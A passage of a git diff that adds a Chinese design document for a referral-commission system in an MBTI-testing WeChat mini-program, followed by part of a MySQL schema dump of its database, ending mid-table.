| -| `miniprogram/pages/promo/index` | 推广中心UI已完成 | 对接 `/api/distribution/stats` 和 `/api/distribution/bindings` | -| `utils/share.js` 中携带 `uid` 参数 | 已实现 | 直接复用,`uid` 即推荐人ID | -| 小程序 `onLoad` 解析 `uid` 参数 | 尚未对接绑定 API | 需在各落地页调用 `POST /api/distribution/bind` | +# 分销系统设计文档 + +> 版本:v1.4 +> 日期:2026-03-06 +> 作者:AI 设计稿(待确认) + +--- + +## 一、功能概述 + +本系统分销分为两个维度: + +| 维度 | 配置来源 | 佣金来源 | 管理入口 | +|------|---------|---------|---------| +| **个人版分销** | 超管后台配置 | 平台微信支付订单收款 | 超管端 | +| **企业版分销** | 企业管理员后台配置 | 企业账户余额 | 管理端(admin) | + +--- + +## 二、核心业务规则 + +### 2.1 绑定规则 + +| 规则 | 说明 | +|------|------| +| 绑定方式 | 用户 A 分享专属链接/海报,用户 B 通过链接进入小程序,系统自动建立 A → B 的绑定关系 | +| 有效期 | **30 天**,从绑定时刻起计算,到期自动解除 | +| **续期机制** | B 在绑定有效期内**再次点击 A 的链接**(同一推荐人),有效期从点击时刻**重置为 30 天**;举例:昨天 A→B 绑定剩余 29 天,今天 B 再次点击 A 的链接,有效期重新变为 30 天 | +| 抢绑机制 | 支持覆盖绑定:A 已绑定了 B,C 再分享给 B 后,B 的推荐人变更为 C(新绑定覆盖旧绑定,重新计算 30 天) | +| **禁止互相绑定** | 仅当 A→B 在有效期内时:B 再分享给 A,A 扫码不能绑定 B(静默忽略);若 A→B 已过期,则 A 扫码可以绑定 B | +| 绑定时机 | 用户点击推广链接进入小程序 `onLoad` 时,识别 `uid`(推荐人ID)写入/更新绑定记录 | +| 例外情况 | 用户已付款订单对应的绑定关系不会因抢绑而撤销(付款时的绑定快照保留) | + +### 2.2 佣金规则(付款触发) + +| 规则 | 说明 | +|------|------| +| 触发时机 | 被邀请用户**完成付款**时触发佣金计算 | +| 佣金比例 | 优先使用与订单 scope 匹配的配置;回退匹配时使用个人版(超管)配置 | +| 计算基数 | 订单实付金额(分)| +| 佣金归属 | 按付款时刻的绑定关系确认推荐人,快照写入佣金记录,后续抢绑不影响已有佣金 | +| **跨 scope 回退** | 若订单 scope 下无匹配绑定(如企业版订单但推荐人仅有个人版绑定),则回退查找该用户任意有效的 `personal` 绑定;命中后以**个人版佣金配置**结算,但只要命中企业上下文,佣金资金仍优先从该企业余额扣除 | + +### 2.3 测试完成佣金(免付款触发) + +| 规则 | 说明 | +|------|------| +| 触发时机 | 用户**完成指定类型测试并提交结果**时触发,无需付款 | +| 适用类型 | 人脸分析(face)、MBTI、DISC、PDP,各自独立开关 | +| 佣金金额 | 每种类型单独配置固定金额(元),非比例 | +| 佣金来源 | 无企业上下文时由平台发放;若命中企业上下文,则优先扣减企业余额,余额不足时冻结,待企业补余额后解冻 | +| 防重机制 | 同一 `testResultId` 只结算一次,重复提交不产生多条佣金 | +| 配置入口 | 超管后台 → 分销设置 → 测试完成佣金 | +| 全局开关 | 超管可一键关闭整个「测试完成佣金」功能 | +| 前提条件 | 用户须有有效的 `personal` scope 绑定关系(invitee → inviter),企业版绑定不触发 | + +### 2.4 企业版特有规则 + +| 规则 | 说明 | +|------|------| +| 佣金资金来源 | 只要佣金记录命中**企业上下文**,都扣除企业账户余额(`enterprises.balance`)| +| 余额充足 | 触发佣金时立即从企业余额扣款,佣金状态置为 `paid`,推荐人可提现 | +| 余额不足 | 佣金状态置为 `frozen`(冻结),企业补余额后系统扫描待解冻记录,余额充足则自动解冻并扣款 | +| 解冻顺序 | 按佣金记录的 `createdAt` 升序(先冻先解)| + +--- + +## 三、数据库设计 + +### 3.1 新增表:`distribution_bindings`(绑定记录) + +```sql +CREATE TABLE `mbti_distribution_bindings` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', + `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', + `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', + `scope` varchar(20) NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', + `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', + `status` varchar(20) NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden(被抢绑覆盖)', + `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID(抢绑时记录上一任推荐人)', + `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`id`), + UNIQUE KEY `uk_invitee_scope_ent` (`inviteeId`, `scope`, `enterpriseId`), + INDEX `idx_inviterId` (`inviterId`), + INDEX `idx_inviteeId` (`inviteeId`), + INDEX `idx_prevInviterId` (`prevInviterId`), + INDEX `idx_expireAt` (`expireAt`), + INDEX `idx_status` (`status`) +) ENGINE=InnoDB COMMENT='分销绑定记录表'; +``` + +> **说明**: +> - `(inviteeId, scope, enterpriseId)` 联合唯一索引保证同一被推荐人在同一维度下只有一条 active 记录。 +> - 抢绑时:将当前 `inviterId` 写入 `prevInviterId`,再将 `inviterId` 更新为新推荐人,同时记录 `overriddenAt`,保留完整的历史推荐链路,便于管理端溯源。 +> - 续期时(同一推荐人再次点击):仅更新 `expireAt` 和 `updatedAt`,`prevInviterId` 不变。 + +--- + +### 3.2 改造表:`distribution_commission_records`(佣金记录) + +在现有 `mbti_commission_records` 基础上新增字段: + +```sql +ALTER TABLE `mbti_commission_records` + ADD COLUMN `scope` varchar(20) NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + ADD COLUMN `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版佣金)', + ADD COLUMN `inviterId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + ADD COLUMN `inviteeId` int(11) NOT NULL COMMENT '付款用户 wechat_users.id', + ADD COLUMN `bindingId` int(11) NOT NULL COMMENT '触发此佣金的绑定记录ID', + ADD COLUMN `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', + ADD COLUMN `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', + ADD COLUMN `frozenAt` int(11) NULL COMMENT '冻结时间(企业余额不足时)', + ADD COLUMN `unfrozenAt` int(11) NULL COMMENT '解冻时间', + MODIFY COLUMN `status` varchar(20) DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', + ADD INDEX `idx_scope` (`scope`), + ADD INDEX `idx_enterpriseId` (`enterpriseId`), + ADD INDEX `idx_inviterId` (`inviterId`), + ADD INDEX `idx_status` (`status`); +``` + +**佣金状态流转**: + +``` +pending → paid (个人版:订单付款成功后自动结算) +pending → paid (企业版:企业余额充足,扣款成功) +pending → frozen (企业版:企业余额不足) +frozen → paid (企业充值后,系统解冻扫描) +pending/frozen → cancelled (订单退款时撤销) +``` + +--- + +### 3.3 新增:推荐人钱包余额字段(`wechat_users`) + +```sql +ALTER TABLE `mbti_wechat_users` + ADD COLUMN `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', + ADD COLUMN `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', + ADD COLUMN `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)'; +``` + +--- + +### 3.4 新增表:`distribution_withdrawals`(提现记录) + +```sql +CREATE TABLE `mbti_distribution_withdrawals` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', + `realNameInfo` varchar(255) NULL COMMENT '收款实名信息(JSON: name+idcard/wechat)', + `status` varchar(20) NOT NULL DEFAULT 'pending' COMMENT 'pending/approved/rejected/transferred', + `auditNote` varchar(500) NULL COMMENT '审核备注', + `auditAt` int(11) NULL COMMENT '审核时间', + `transferAt` int(11) NULL COMMENT '打款时间', + `createdAt` int(11) NULL, + `updatedAt` int(11) NULL, + PRIMARY KEY (`id`), + INDEX `idx_userId` (`userId`), + INDEX `idx_status` (`status`) +) ENGINE=InnoDB COMMENT='分销提现记录表'; +``` + +--- + +## 四、核心流程 + +### 4.1 绑定流程 + +``` +用户点击分享链接进入小程序 + ↓ +onLoad(options) 识别 uid=推荐人ID, eid=企业ID(可选) + ↓ +调用 POST /api/distribution/bind { inviterId: uid, scope, enterpriseId } + ↓ +【前置校验】 + ├── inviterId == 当前登录用户自身 → 忽略,静默返回(不能自绑) + ├── 企业版(scope=enterprise): + │ 校验推荐人 wechat_users.enterpriseId === enterpriseId + │ 不符合(推荐人非该企业成员)→ 忽略,静默返回 + ├── 禁止互相绑定(仅有效期内):存在未过期的 A→B(inviterId=当前用户, inviteeId=本次推荐人, 同 scope, status=active, expireAt>now) + │ → 忽略,静默返回;若 A→B 已过期则不拦截,允许建立 B→A + └── 校验通过 → 继续 + ↓ +系统查询 distribution_bindings 中该 inviteeId 是否有 active 且未过期的记录 + │ + ├── 无记录(首次绑定): + │ 新建绑定,status=active,expireAt=now+30天,prevInviterId=NULL + │ + ├── 有记录 且 inviterId 相同(同一推荐人再次点击 → 续期): + │ 更新 expireAt = now+30天(重置有效期) + │ updatedAt = now + │ ⚠️ prevInviterId 不变,不新建记录 + │ + └── 有记录 且 inviterId 不同(抢绑): + 记录 prevInviterId = 旧 inviterId(保留上一任推荐人) + 更新 inviterId = 新推荐人,expireAt=now+30天,overriddenAt=now + ⚠️ 历史绑定快照保留在同一行,不新建记录 + ↓ +返回绑定成功(含新的 expireAt 供前端展示倒计时) +``` + +### 4.2 佣金结算流程(付款成功后触发) + +``` +订单支付成功回调 (Payment/notify) + ↓ +确定订单 scope:订单有 enterpriseId → enterprise,否则 → personal + ↓ +【第一步:精确匹配】 +查询付款用户 (inviteeId) 与订单 scope + enterpriseId 完全匹配的 active 未过期绑定 + ├── 命中 → 使用该绑定,进入佣金计算(scope 保持订单 scope) + └── 未命中 → 进入【第二步:回退匹配】 + ↓ +【第二步:回退匹配(跨 scope)】 +查询付款用户任意 active 未过期的 scope='personal' 绑定 + ├── 命中 → 使用该绑定,强制 scope='personal'(以个人版配置+平台资金结算) + └── 未命中 → 跳过,无佣金产生 + ↓ +读取对应 scope 佣金比例配置,计算 commissionFen = orderAmount * rate + ↓ +写入 commission_records(记录实际使用的 scope 与 enterpriseId) + ↓ +if scope == 'personal': + 直接结算 → 推荐人 walletBalance += commissionFen + commission status → paid +if scope == 'enterprise': + 查询 enterprises.balance + ├── 余额 >= commissionFen: + │ enterprises.balance -= commissionFen + │ 推荐人 walletBalance += commissionFen + │ commission status → paid + └── 余额不足: + commission status → frozen,frozenAt=now +``` + +### 4.3 企业充值后解冻流程 + +``` +企业补余额成功(充值接口回调 / 超管上调余额) + ↓ +enterprises.balance += 充值金额 + ↓ +查询该企业所有 status=frozen 的 commission_records(按 createdAt ASC) + ↓ +循环: + if 当前 balance >= commissionFen: + balance -= commissionFen + commission status → paid,unfrozenAt=now + 推荐人 walletBalance += commissionFen + else: + break(余额耗尽,剩余记录保持冻结) + ↓ +更新 enterprises.balance +``` + +--- + +## 五、API 接口规划 + +### 5.1 小程序端(需登录) + +| 方法 | 路径 | 说明 | +|------|------|------| +| POST | `/api/distribution/bind` | 绑定推荐人(进入小程序时调用) | +| GET | `/api/distribution/stats` | 获取我的推广中心统计(余额、绑定数、佣金等) | +| GET | `/api/distribution/bindings` | 我邀请的用户列表(分页,支持 tab:绑定中/已付款/已过期) | +| GET | `/api/distribution/commissions` | 我的佣金记录(分页) | +| POST | `/api/distribution/withdraw` | 申请提现 | +| GET | `/api/distribution/withdrawals` | 我的提现记录 | + +### 5.2 管理端(admin/enterprise_admin) + +| 方法 | 路径 | 说明 | +|------|------|------| +| GET | `/api/v1/admin/distribution/overview` | 分销数据概览 | +| GET | `/api/v1/admin/distribution/bindings` | 所有绑定记录(管理员查看) | +| GET | `/api/v1/admin/distribution/commissions` | 所有佣金记录 | +| GET | `/api/v1/admin/distribution/withdrawals` | 提现申请列表 | +| POST | `/api/v1/admin/distribution/withdrawals/:id/approve` | 审核通过提现 | +| POST | `/api/v1/admin/distribution/withdrawals/:id/reject` | 拒绝提现 | +| GET | `/api/v1/admin/distribution/settings` | 获取分销配置 | +| PUT | `/api/v1/admin/distribution/settings` | 更新分销配置 | + +### 5.3 超管端(superadmin) + +| 方法 | 路径 | 说明 | +|------|------|------| +| GET | `/api/v1/superadmin/distribution/settings` | 获取个人版分销全局配置 | +| PUT | `/api/v1/superadmin/distribution/settings` | 更新个人版分销全局配置 | +| GET | `/api/v1/superadmin/distribution/overview` | 全平台分销数据 | + +--- + +## 六、分销配置结构 + +### 个人版(超管配置,存 system_config 表) + +```json +{ + "enabled": true, + "commissionRate": 90, + "bindingDays": 30, + "minWithdrawFen": 1000, + "withdrawFee": 0 +} +``` + +### 企业版(企业管理员配置,存 enterprise_distribution_config 表 或 system_config 带 enterpriseId) + +```json +{ + "enabled": true, + "commissionRate": 80, + "bindingDays": 30, + "minWithdrawFen": 1000 +} +``` + +--- + +## 七、已确认问题 + +| # | 问题 | 确认结论 | +|---|------|---------| +| 1 | 被抢绑的旧推荐人已产生的佣金是否撤销? | **已确认**:不撤销,已产生佣金归旧推荐人 | +| 2 | 企业版佣金冻结期间,推荐人的 `walletPending` 是否展示冻结金额? | **已确认**:展示 pending+frozen 合计 | +| 3 | 个人版提现是否需要人工审核,还是自动打款? | **已确认**:人工审核 | +| 4 | 企业版的被邀请用户(invitee)是否需要是该企业成员? | **已确认**:不限制,任何用户均可被企业推广链接绑定 | +| 5 | 推广分享链接的落地页是否区分个人版和企业版? | **已确认**:企业版链接携带 `eid`,个人版不带,系统根据是否携带 `eid` 自动判断 scope | +| 6 | 企业版分销的推荐人是否必须是该企业内部成员? | **已确认**:必须限制。绑定接口需校验推荐人的 `wechat_users.enterpriseId === 请求中的 enterpriseId`,非该企业成员的分享链接不产生绑定关系,静默跳过 | +| 7 | A 分享给 B,B 购买个人版或企业版,A 都能得佣金吗? | **已确认(v1.3)**:是。结算时先精确匹配订单 scope,未命中则回退查找 personal 绑定。无论 B 购买哪个版本,只要存在 A→B 的有效绑定(任意 scope),A 均可获得佣金。跨 scope 回退时使用个人版配置,佣金来源为平台 | +| 8 | 测试完成佣金适用于企业版测试吗? | **已确认(v1.4)**:不适用。测试完成佣金仅适用于 personal scope 绑定,企业版测试(`testScope=enterprise`)不触发此规则 | +| 9 | commission_records 需要哪些新字段支持测试完成佣金? | **已确认(v1.4)**:需新增 `testResultId INT NULL`(关联 test_results.id)和 `commissionSource VARCHAR(20) DEFAULT 'payment'`(payment \| test_completion)字段,并在 `testResultId` + `commissionSource` 上加唯一防重索引 | + +--- + +## 八、数据库迁移(v1.4) + +测试完成佣金需要对 `commission_records` 表新增两个字段,**上线前需执行**: + +```sql +ALTER TABLE `mbti_commission_records` + ADD COLUMN `testResultId` int(11) NULL DEFAULT NULL COMMENT '测试结果ID(测试完成佣金使用,关联 test_results.id)', + ADD COLUMN `commissionSource` varchar(20) NOT NULL DEFAULT 'payment' COMMENT '佣金来源: payment|test_completion', + ADD UNIQUE KEY `uk_test_commission` (`testResultId`, `commissionSource`); +``` + +--- + +## 九、现有代码与新功能的关系 + +| 现有内容 | 状态 | 处理方式 | +|---------|------|---------| +| `mbti_distribution_agents` 表 | 旧设计,基于 `users` 表 | 废弃,改为直接用 `wechat_users` | +| `mbti_commission_records` 表 | 部分字段可复用 | 按第三节 ALTER 改造 | +| `admin/Distribution.php` | 骨架存在,逻辑空 | 在新设计基础上重写 | +| `miniprogram/pages/promo/index` | 推广中心UI已完成 | 对接 `/api/distribution/stats` 和 `/api/distribution/bindings` | +| `utils/share.js` 中携带 `uid` 参数 | 已实现 | 直接复用,`uid` 即推荐人ID | +| 小程序 `onLoad` 解析 `uid` 参数 | 尚未对接绑定 API | 需在各落地页调用 `POST /api/distribution/bind` | diff --git a/api/mbti.sql b/api/mbti.sql index 28c34df..c522ed7 100644 --- a/api/mbti.sql +++ b/api/mbti.sql @@ -1,492 +1,492 @@ -/* - Navicat Premium Data Transfer - - Source Server : kr_存客宝 - Source Server Type : MySQL - Source Server Version : 50736 - Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413 - Source Schema : mbti - - Target Server Type : MySQL - Target Server Version : 50736 - File Encoding : 65001 - - Date: 12/03/2026 17:13:09 -*/ - -SET NAMES utf8mb4; -SET FOREIGN_KEY_CHECKS = 0; - --- ---------------------------- --- Table structure for mbti_activities --- ---------------------------- -DROP TABLE IF EXISTS `mbti_activities`; -CREATE TABLE `mbti_activities` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '活动ID', - `userId` int(11) NULL DEFAULT NULL COMMENT '用户ID', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', - `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '活动类型', - `action` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '操作描述', - `relatedId` int(11) NULL DEFAULT NULL COMMENT '关联ID', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_type`(`type`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '活动记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_ai_providers --- ---------------------------- -DROP TABLE IF EXISTS `mbti_ai_providers`; -CREATE TABLE `mbti_ai_providers` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', - `providerId` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商ID:openai/anthropic/deepseek等', - `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商名称', - `enabled` tinyint(1) NULL DEFAULT 0 COMMENT '是否启用:1启用,0禁用', - `visible` tinyint(1) NOT NULL DEFAULT 1 COMMENT '是否在列表中显示:1显示,0隐藏', - `apiKey` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API密钥(加密存储)', - `apiEndpoint` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API端点', - `model` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '默认模型', - `organizationId` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'Organization ID(OpenAI专用)', - `maxTokens` int(11) NULL DEFAULT 4096 COMMENT '最大Token数', - `balanceAlertEnabled` tinyint(1) NULL DEFAULT 0 COMMENT '余额告警是否启用', - `balanceAlertThreshold` decimal(10, 2) NULL DEFAULT 10.00 COMMENT '余额告警阈值', - `notes` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '备注', - `docUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '文档/API Key申请链接', - `isFree` tinyint(1) NULL DEFAULT 0 COMMENT '是否免费额度服务商', - `supportsBalance` tinyint(1) NULL DEFAULT 1 COMMENT '是否支持余额查询', - `lastBalance` decimal(10, 2) NULL DEFAULT NULL COMMENT '最后查询的余额', - `lastBalanceCurrency` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '余额币种:CNY/USD', - `lastBalanceCheckedAt` int(11) NULL DEFAULT NULL COMMENT '最后余额查询时间(时间戳)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - `deletedAt` int(11) NULL DEFAULT NULL COMMENT '软删除时间戳,有值表示已删除', - `extraConfig` json NULL COMMENT '其他配置参数(JSON),方便扩展接收其他参数', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_providerId`(`providerId`) USING BTREE, - INDEX `idx_enabled`(`enabled`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 10 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'AI服务商配置表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_backup_records --- ---------------------------- -DROP TABLE IF EXISTS `mbti_backup_records`; -CREATE TABLE `mbti_backup_records` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', - `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '备份文件名', - `filepath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '本地文件路径', - `fileSize` bigint(20) NULL DEFAULT 0 COMMENT '文件大小(字节)', - `ossUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS访问URL', - `ossPath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS对象路径', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'success' COMMENT '状态:success成功/failed失败', - `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_filename`(`filename`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_deletedAt`(`deletedAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '数据库备份记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_commission_records --- ---------------------------- -DROP TABLE IF EXISTS `mbti_commission_records`; -CREATE TABLE `mbti_commission_records` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', - `agentId` int(11) NOT NULL COMMENT '分销商ID', - `orderId` int(11) NULL DEFAULT NULL COMMENT '订单ID', - `commissionRate` decimal(5, 2) NULL DEFAULT 0.00 COMMENT '佣金比例(%)', - `commissionAmount` decimal(10, 2) NOT NULL COMMENT '佣金金额', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', - `paidAt` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', - `inviterId` int(11) NULL DEFAULT NULL COMMENT '推荐人ID', - `inviteeId` int(11) NULL DEFAULT NULL COMMENT '付款用户ID', - `bindingId` int(11) NULL DEFAULT NULL COMMENT '绑定记录ID', - `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', - `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', - `frozenAt` int(11) NULL DEFAULT NULL COMMENT '冻结时间', - `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT '解冻时间', - `testResultId` int(11) NULL DEFAULT NULL, - `commissionSource` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'payment', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `uk_test_commission`(`testResultId`, `commissionSource`) USING BTREE, - INDEX `idx_agentId`(`agentId`) USING BTREE, - INDEX `idx_orderId`(`orderId`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_scope`(`scope`) USING BTREE, - INDEX `idx_dist_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_inviterId`(`inviterId`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '佣金记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_distribution_agents --- ---------------------------- -DROP TABLE IF EXISTS `mbti_distribution_agents`; -CREATE TABLE `mbti_distribution_agents` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '分销商ID', - `userId` int(11) NOT NULL COMMENT '用户ID', - `agentName` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '分销商名称', - `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', - `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', - `totalOrders` int(11) NULL DEFAULT 0 COMMENT '总订单数', - `totalCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '总佣金', - `availableCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '可提现佣金', - `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销商表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_distribution_bindings --- ---------------------------- -DROP TABLE IF EXISTS `mbti_distribution_bindings`; -CREATE TABLE `mbti_distribution_bindings` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', - `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', - `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', - `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', - `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden', - `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID', - `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `uk_invitee_scope_ent`(`inviteeId`, `scope`, `enterpriseId`) USING BTREE, - INDEX `idx_inviterId`(`inviterId`) USING BTREE, - INDEX `idx_inviteeId`(`inviteeId`) USING BTREE, - INDEX `idx_prevInviterId`(`prevInviterId`) USING BTREE, - INDEX `idx_expireAt`(`expireAt`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销绑定记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Table structure for mbti_distribution_withdrawals --- ---------------------------- -DROP TABLE IF EXISTS `mbti_distribution_withdrawals`; -CREATE TABLE `mbti_distribution_withdrawals` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', - `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', - `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)', - `realNameInfo` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '收款实名信息 JSON', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/approved/rejected/transferred', - `auditNote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '审核备注', - `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间', - `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间', - `createdAt` int(11) NULL DEFAULT NULL, - `updatedAt` int(11) NULL 